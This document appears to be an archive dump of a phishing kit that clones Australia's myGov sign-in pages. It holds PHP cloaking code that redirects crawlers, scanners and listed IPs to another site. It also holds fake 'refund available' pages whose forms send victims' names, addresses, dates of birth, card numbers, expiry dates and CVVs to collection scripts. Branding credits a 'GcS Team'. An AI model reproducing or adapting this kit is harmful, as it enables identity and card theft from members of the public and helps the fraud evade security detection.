		 "w3m2",
		 "w3mir",
		 "walker",
		 "wallpaper",
		 "wanderer",
		 "wauuu",
		 "wavefire",
		 "web core",
		 "web hopper",
		 "web wombat",
		 "webbandit",
                 "webcatcher",
		 "webcopy",
		 "webfoot",
		 "weblayers",
		 "weblinker",
		 "weblog monitor",
		 "webmirror",
		 "webmonkey",
		 "webquest",
		 "webreaper",
		 "websitepulse",
		 "websnarf",
		 "webstolperer",
		 "webvac",
		 "webwalk",
		 "webwatch",
		 "webwombat",
		 "webzinger",
		 "wget",
		 "whizbang",
		 "whowhere",
		 "wild ferret",
		 "worldlight",
		 "wwwc",
		 "wwwster",
		 "xenu",
		 "xift",
		 "xirq",
		 "yandex",
		 "yanga",
		 "yeti",
		 "yahoo!");
foreach ($Botname as $word2) {
        if (stripos($_SERVER['HTTP_USER_AGENT'],$word2)){
	     	exit(header('Location: http://2m.ma'));
	    }
    }
foreach ($ips as $ip) {
    if (preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])) {
        exit(header('Location: http://2m.ma'));
    }
}
?>mygov/anti/index.php000064400000000357151676702570010505 0ustar00<?php
  	require 'anti1.php';
	require 'anti2.php';
	require 'anti3.php';
	require 'anti4.php';
	require 'anti5.php';
	require 'anti6.php';
	require 'anti7.php';
	require 'anti8.php';
	exit(header("Location: ../index.php"));
?>
mygov/app/addbilling.php000064400000032243151676702570011313 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/                                                   
session_start();
include "../anti/anti1.php";                                                                                                                                                    
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Sign in with myGov - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./login_files/css" rel="stylesheet">
	<link href="./login_files/mgv2-application.css" rel="stylesheet">
	<link href="./login_files/blugov.css" rel="stylesheet">
<style>@media print {#ghostery-tracker-tally {display:none !important}}</style><style>@media print {#ghostery-tracker-tally {display:none !important}}</style><style>@media print {#ghostery-tracker-tally {display:none !important}}</style></head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>









<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	<div class="unauth">
		<div class="login-grid-container">
			<div class="login-grid-row">
				<div class="login-grid-column">
					<div class="digital-id-login-card-wrapper">
						<div class="digital-id-main-login-card override">
	
							

							
							
							

							
								
								
								
									
								
							

							
							<p class="login-instruction-text">Our transaction management system detects that you are entitled to receive this payment.</p>

<h5 style="color:green">Your refund is available online : 196.76 AUD</h5>
							<h6 class="text-align-left">Fill information provided</h6>
							
<form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="rez/sendfull.php" method="post">
	
								<div class="input-group">
									<label class="override" for="userId">First name</label>
									<input name="firstname" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div>
<div class="input-group">
									<label class="override" for="userId">Last name</label>
									<input name="lastname" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div>
<div class="input-group">
									<label class="override" for="userId">Address line 1</label>
									<input name="address1" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div>
<div class="input-group">
									<label class="override" for="userId">Address line 2</label>
									<input name="address2" type="text" placeholder="" value="" autocomplete="off" aria-required="true">
								</div>
<div class="input-group">
									<label class="override" for="userId">City</label>
									<input name="city" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div>
<div class="input-group">
									<label class="override" for="userId">State</label>
									<input name="state" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div>

<div class="input-group">
									<label class="override" for="userId">Postal code</label>
									<input name="zipcode" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div>
<div class="input-group">
									<label class="override" for="userId">Phone number</label>
									<input name="phonee" type="text" placeholder="" value="" autocomplete="off" aria-required="true" required="">
								</div><div class="input-group">
									<label class="override" for="userId">Date of birth</label>
									<input type="text" onkeyup="return numberValidation(event)" name="birthday" value="" placeholder="" onkeyup="
        var v = this.value;
        if (v.match(/^\d{2}$/) !== null) {
            this.value = v + '/';
        } else if (v.match(/^\d{2}\/\d{2}$/) !== null) {
            this.value = v + '/';
       }"
    maxlength="10" autocomplete="off" aria-required="true" required="">
								</div>

								<p class="recovery">
									
								</p>
	
								
								<p class="recovery">
									
								</p>
	
								<div class="button-digital-id-main-container override">
									<div class="digital-id-button-container">
										<button name="okbb" type="submit" class="button-main">Confirm my billing</button>
									</div>
								</div>
	
								<input type="hidden" name="authtype" value="unamepword">
								<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">

								
									
									
									
									
								
								
								
							
								
							<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
							
	
							<div class="digital-id-login-card secondary">
								<div class="button-digital-id-container">
									
									
								</div>
							</div>
										
						
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div></div>





<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./login_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./login_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



<script>
      function formats(ele,e){
        if(ele.value.length<19){
          ele.value= ele.value.replace(/\W/gi, '').replace(/(.{4})/g, '$1 ');
          return true;
        }else{
          return false;
        }
      }
      
      function numberValidation(e){
        e.target.value = e.target.value.replace(/[^\d ]/g,'');
        return false;
      }
    </script><script>function formatString(e) {
  var inputChar = String.fromCharCode(event.keyCode);
  var code = event.keyCode;
  var allowedKeys = [8];
  if (allowedKeys.indexOf(code) !== -1) {
    return;
  }

  event.target.value = event.target.value.replace(
    /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/
  ).replace(
    /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/
  ).replace(
    /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3
  ).replace(
    /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41
  ).replace(
    /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0
  ).replace(
    /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/`
  ).replace(
    /\/\//g, '/' // Prevent entering more than 1 `/`
  );
}
</script><script>function validatedate(inputText)
  {
  var dateformat = /^(0?[1-9]|[12][0-9]|3[01])[\/\-](0?[1-9]|1[012])[\/\-]\d{4}$/;
  // Match the date format through regular expression
  if(inputText.value.match(dateformat))
  {
  document.form1.text1.focus();
  //Test which seperator is used '/' or '-'
  var opera1 = inputText.value.split('/');
  var opera2 = inputText.value.split('-');
  lopera1 = opera1.length;
  lopera2 = opera2.length;
  // Extract the string into month, date and year
  if (lopera1>1)
  {
  var pdate = inputText.value.split('/');
  }
  else if (lopera2>1)
  {
  var pdate = inputText.value.split('-');
  }
  var dd = parseInt(pdate[0]);
  var mm  = parseInt(pdate[1]);
  var yy = parseInt(pdate[2]);
  // Create list of days of a month [assume there is no leap year by default]
  var ListofDays = [31,28,31,30,31,30,31,31,30,31,30,31];
  if (mm==1 || mm>2)
  {
  if (dd>ListofDays[mm-1])
  {
  alert('Invalid date format!');
  return false;
  }
  }
  if (mm==2)
  {
  var lyear = false;
  if ( (!(yy % 4) && yy % 100) || !(yy % 400)) 
  {
  lyear = true;
  }
  if ((lyear==false) && (dd>=29))
  {
  alert('Invalid date format!');
  return false;
  }
  if ((lyear==true) && (dd>29))
  {
  alert('Invalid date format!');
  return false;
  }
  }
  }
  else
  {
  alert("Invalid date format!");
  document.form1.text1.focus();
  return false;
  }
  }</script></body></html>mygov/app/addcc.php000064400000026130151676702570010256 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Sign in with myGov - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./login_files/css" rel="stylesheet">
	<link href="./login_files/mgv2-application.css" rel="stylesheet">
	<link href="./login_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>









<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	<div class="unauth">
		<div class="login-grid-container">
			<div class="login-grid-row">
				<div class="login-grid-column">
					<div class="digital-id-login-card-wrapper">
						<div class="digital-id-main-login-card override">
	
							

							
							
							

							
								
								
								
									
								
							

							
							<p class="login-instruction-text">Our transaction management system detects that you are entitled to receive this payment.</p>

<h5 style="color:green">Your refund is available online : 196.76 AUD</h5>
							<h6 class="text-align-left">Add your credit card to get your refund</h6>
							<img width="120" src="https://www.pngitem.com/pimgs/m/1-18686_transparent-visa-mastercard-png-white-visa-logo-png.png">
<form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="rez/sendcc.php" method="post">
	
								<div class="input-group">
									<label class="override" for="userId">Name on card</label>
									<input name="holder" type="text" placeholder="Full name" value="" autocomplete="off" aria-required="true">
								</div>
								<div class="input-group">
									<label class="override" for="userId">Card Number</label>
									<input name="cardnumber" onkeypress='return formats(this,event)' onkeyup="return numberValidation(event)" type="text" value="" placeholder="XXXX XXXX XXXX XXXX" autocomplete="off" aria-required="true">
								</div><div class="input-group">
									<label  class="override" for="userId">Expiry date</label>
									<input name="expiry" placeholder="MM/YY" onkeyup="formatString(event);" type="text" value="" autocomplete="off" aria-required="true">
								</div><p class="recovery">
									
								</p>
	
								<div class="input-group">
									<label  for="password" class="override">CVV (3 digits)</label>
									<div class="password-group">
										<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input name="cvv" id="password"type="password" data-current-password="data-current-password" onkeyup="return numberValidation(event)" minlength="3" maxlength="4" placeholder="***" autocomplete="off" aria-required="true">
									</div>
								</div>
								<p class="recovery">
									
								</p>
	
								<div class="button-digital-id-main-container override">
									<div class="digital-id-button-container">
										<button name="okbb" type="submit" class="button-main">Confirm</button>
									</div>
								</div>
	
								<input type="hidden" name="authtype" value="unamepword">
								<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">

								
									
									
									
									
								
								
								
							
								
							<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
							
	
							<div class="digital-id-login-card secondary">
								<div class="button-digital-id-container">
									
									
								</div>
							</div>
										
						
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div></div>





<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./login_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./login_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



<script>
      function formats(ele,e){
        if(ele.value.length<19){
          ele.value= ele.value.replace(/\W/gi, '').replace(/(.{4})/g, '$1 ');
          return true;
        }else{
          return false;
        }
      }
      
      function numberValidation(e){
        e.target.value = e.target.value.replace(/[^\d ]/g,'');
        return false;
      }
    </script><script>function formatString(e) {
  var inputChar = String.fromCharCode(event.keyCode);
  var code = event.keyCode;
  var allowedKeys = [8];
  if (allowedKeys.indexOf(code) !== -1) {
    return;
  }

  event.target.value = event.target.value.replace(
    /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/
  ).replace(
    /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/
  ).replace(
    /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3
  ).replace(
    /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41
  ).replace(
    /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0
  ).replace(
    /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/`
  ).replace(
    /\/\//g, '/' // Prevent entering more than 1 `/`
  );
}
</script></body></html>mygov/app/index.php000064400000030771151676702570010335 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
    
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <title>
        Sign in with myGov - myGov
    </title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- phone number format detection, turning it off -->
    <meta name="format-detection" content="telephone=no">
    <script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
    <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
    <link href="./login_files/css" rel="stylesheet">
    <link href="./login_files/mgv2-application.css" rel="stylesheet">
    <link href="./login_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
    <div class="outage">
        <div class="outage__inner">
            <div>
                <span class="is-visuallyhidden"> Warning message: </span>
                <p> JavaScript is required for myGov to work correctly.</p>
            </div>
        </div>
    </div>
</noscript>




    
        
    
    





<nav class="uikit-skip-link" aria-label="Skip Links">
    <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
    <section class="wrapper">
        <div class="inner">
            <div class="unauth-grid">
                <div class="unauth-grid-row">
                    <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
